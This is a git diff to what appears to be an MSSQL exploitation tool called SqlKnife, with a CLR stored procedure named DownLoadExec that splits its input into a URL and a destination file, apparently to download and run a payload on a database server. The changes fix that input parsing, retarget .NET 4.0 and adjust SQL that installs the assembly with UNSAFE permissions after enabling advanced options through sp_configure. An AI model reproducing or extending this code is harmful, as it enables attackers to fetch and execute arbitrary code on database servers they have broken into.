diff --git a/DownLoadExec/DownLoadExec.sqlproj b/DownLoadExec/DownLoadExec.sqlproj
index d637088..221a0fd 100644
--- a/DownLoadExec/DownLoadExec.sqlproj
+++ b/DownLoadExec/DownLoadExec.sqlproj
@@ -16,7 +16,7 @@
     <ModelCollation>1033, CI</ModelCollation>
     <DefaultFileStructure>BySchemaAndSchemaType</DefaultFileStructure>
     <DeployToDatabase>True</DeployToDatabase>
-    <TargetFrameworkVersion>v3.5</TargetFrameworkVersion>
+    <TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
     <TargetLanguage>CS</TargetLanguage>
     <AppDesignerFolder>Properties</AppDesignerFolder>
     <SqlServerVerification>False</SqlServerVerification>
diff --git a/DownLoadExec/SqlStoredProcedure1.cs b/DownLoadExec/SqlStoredProcedure1.cs
index f8078eb..92cbfa0 100644
--- a/DownLoadExec/SqlStoredProcedure1.cs
+++ b/DownLoadExec/SqlStoredProcedure1.cs
@@ -16,7 +16,7 @@ public static void DownLoadExec(string tempfilename)
         string[] namearry;
         string url = "";
         string dstfile = "";
-        if (tempfilename.Contains("")) {
+        if (tempfilename.Contains(",")) {
             namearry = tempfilename.Split(',');
             url = namearry[0];
             dstfile = namearry[1];
diff --git a/SqlKnife/MsSqlExploit.cpp b/SqlKnife/MsSqlExploit.cpp
index a934283..35ca338 100644
--- a/SqlKnife/MsSqlExploit.cpp
+++ b/SqlKnife/MsSqlExploit.cpp
@@ -130,13 +130,11 @@ void MsSqlExploit::dofix(ExecMethod type)
 		string sql="";
 		if (this->isdonet4)
 		{
-			sql = "CREATE ASSEMBLY [DownLoadExec] AUTHORIZATION[dbo] FROM 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WITH PERMISSION_SET = UNSAFE;";
-
+			sql = "CREATE ASSEMBLY [DownLoadExec] AUTHORIZATION[dbo] FROM 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WITH PERMISSION_SET = UNSAFE;";
 		}
 		else {
 			
-			sql = "CREATE ASSEMBLY [DownLoadExec] AUTHORIZATION[dbo] FROM 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WITH PERMISSION_SET = UNSAFE;";
-		
+			sql = "CREATE ASSEMBLY [DownLoadExec] AUTHORIZATION[dbo] FROM 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WITH PERMISSION_SET = UNSAFE;";
 		}
 
 		DataSourceHandle::justquery("EXEC sp_configure 'show advanced options',1;");